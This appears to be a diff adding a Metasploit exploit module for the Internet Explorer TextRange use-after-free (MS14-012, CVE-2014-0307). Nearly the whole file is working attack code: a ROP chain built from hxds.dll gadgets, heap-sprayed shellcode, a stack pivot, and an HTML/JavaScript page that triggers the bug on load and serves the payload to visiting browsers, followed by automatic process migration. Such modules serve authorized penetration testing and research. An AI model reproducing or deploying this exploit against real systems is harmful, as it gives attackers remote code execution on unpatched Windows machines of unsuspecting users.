|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = NormalRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::BrowserExploitServer |
| 12 | + |
| 13 | + def initialize(info={}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => "MS14-012 Internet Explorer TextRange Use-After-Free", |
| 16 | + 'Description' => %q{ |
| 17 | + This module exploits a use-after-free vulnerability found in Internet Explorer. The flaw |
| 18 | + was most likely introduced back in 2013, therefore only certain builds of MSHTML are |
| 19 | + affected. In our testing with IE9, these vulnerable builds appear to be between |
| 20 | + 9.0.8112.16496 and 9.0.8112.16533, which implies August 2013 until early March 2014 |
| 21 | + (before the patch). |
| 22 | + }, |
| 23 | + 'License' => MSF_LICENSE, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Jason Kratzer', # Original discovery |
| 27 | + 'sinn3r' # Port |
| 28 | + ], |
| 29 | + 'References' => |
| 30 | + [ |
| 31 | + [ 'CVE', '2014-0307' ], |
| 32 | + [ 'MSB', 'MS14-012' ] |
| 33 | + ], |
| 34 | + 'Platform' => 'win', |
| 35 | + 'BrowserRequirements' => |
| 36 | + { |
| 37 | + :source => /script/i, |
| 38 | + :os_name => OperatingSystems::WINDOWS, |
| 39 | + :ua_name => HttpClients::IE, |
| 40 | + :office => "2010" |
| 41 | + #:ua_ver => '9.0' # Some fingerprinting issue w/ os_detect, disabled for now |
| 42 | + }, |
| 43 | + 'Targets' => |
| 44 | + [ |
| 45 | + [ |
| 46 | + 'Automatic', |
| 47 | + { |
| 48 | + # mov eax,dword ptr [edx+0C4h]; call eax |
| 49 | + 'Pivot' => 0x0c0d1020 # ECX |
| 50 | + } |
| 51 | + ] |
| 52 | + ], |
| 53 | + 'Payload' => |
| 54 | + { |
| 55 | + 'BadChars' => "\x00", |
| 56 | + 'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500 |
| 57 | + }, |
| 58 | + 'DefaultOptions' => |
| 59 | + { |
| 60 | + 'Retries' => false, # You're too kind, tab recovery, I only need 1 shell. |
| 61 | + 'InitialAutoRunScript' => 'migrate -f' |
| 62 | + }, |
| 63 | + 'DisclosureDate' => "Mar 11 2014", # Vuln was found in 2013. Mar 11 = Patch tuesday |
| 64 | + 'DefaultTarget' => 0)) |
| 65 | + end |
| 66 | + |
| 67 | + # hxds.dll |
| 68 | + def get_payload |
| 69 | + setup = |
| 70 | + [ |
| 71 | + 0x51C3B376, # rop nop |
| 72 | + 0x51C2046E, # pop edi; ret |
| 73 | + 0x51BE4A41, # xchg eax, esp; ret |
| 74 | + ].pack("V*") |
| 75 | + |
| 76 | + # rop nops |
| 77 | + 45.times { setup << [0x51C3B376].pack('V*') } |
| 78 | + |
| 79 | + setup << [ |
| 80 | + 0x51C2046E, # pop edi ; ret |
| 81 | + 0x51BD28D4 # mov eax, [ecx], call [eax+8] |
| 82 | + ].pack('V*') |
| 83 | + |
| 84 | + p = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>setup}) |
| 85 | + |
| 86 | + Rex::Text.to_unescape(p) |
| 87 | + end |
| 88 | + |
| 89 | + def exploit_html |
| 90 | + template = %Q|<!DOCTYPE html> |
| 91 | +<html> |
| 92 | + <head> |
| 93 | + <meta http-equiv='Cache-Control' content='no-cache'/> |
| 94 | + <meta http-equiv="X-UA-Compatible" content="IE=edge" > |
| 95 | + <script> |
| 96 | + <%=js_property_spray%> |
| 97 | + sprayHeap({shellcode:unescape("<%=get_payload%>")}); |
| 98 | +
|
| 99 | + function hxds() { |
| 100 | + try { |
| 101 | + location.href = 'ms-help:'; |
| 102 | + } catch(e) {} |
| 103 | + } |
| 104 | +
|
| 105 | + function strike() { |
| 106 | + hxds(); |
| 107 | + var fake = ""; |
| 108 | + for (var i = 0; i < 12; i++) { |
| 109 | + if (i==0) { |
| 110 | + fake += unescape("<%=Rex::Text.to_unescape([target['Pivot']].pack('V*'))%>"); |
| 111 | + } |
| 112 | + else { |
| 113 | + fake += "\\u4141\\u4141"; |
| 114 | + } |
| 115 | + } |
| 116 | +
|
| 117 | + var elements = [ |
| 118 | + 'FOOTER', 'VIDEO', 'HTML', 'DIV', 'WBR', 'THEAD', 'PARAM', 'SECTION', 'IMG', |
| 119 | + 'TIME', 'ASISE', 'CANVAS', 'P', 'RT', 'FRAMESET', 'TRACK', 'CAPTION' |
| 120 | + ]; |
| 121 | +
|
| 122 | + for (var i = 0; i < elements.length; i++) { |
| 123 | + var element = document.createElement(elements[i]); |
| 124 | + document.body.appendChild(element); |
| 125 | + } |
| 126 | +
|
| 127 | + var tRange = document.body.createTextRange(); |
| 128 | + tRange.moveToElementText(document.body.children[16]); |
| 129 | + tRange.execCommand('InsertInputSubmit', true, null); |
| 130 | + tRange.moveToElementText(document.body.children[0]); |
| 131 | + tRange.moveEnd('character',4); |
| 132 | + tRange.execCommand('InsertOrderedList', true, null); |
| 133 | + tRange.select(); |
| 134 | + tRange.moveToElementText(document.body.children[0]); |
| 135 | + tRange.moveEnd('character',13); |
| 136 | + tRange.execCommand('Underline', true, null); |
| 137 | + tRange.execCommand('RemoveFormat', true, null); |
| 138 | + var fillObject = document.createElement('button'); |
| 139 | + fillObject.className = fake; |
| 140 | + } |
| 141 | + </script> |
| 142 | + </head> |
| 143 | + <body onload='strike();'></body> |
| 144 | +</html> |
| 145 | + | |
| 146 | + |
| 147 | + return template, binding() |
| 148 | + end |
| 149 | + |
| 150 | + def on_request_exploit(cli, request, target_info) |
| 151 | + send_exploit_html(cli, exploit_html) |
| 152 | + end |
| 153 | + |
| 154 | +end |
0 commit comments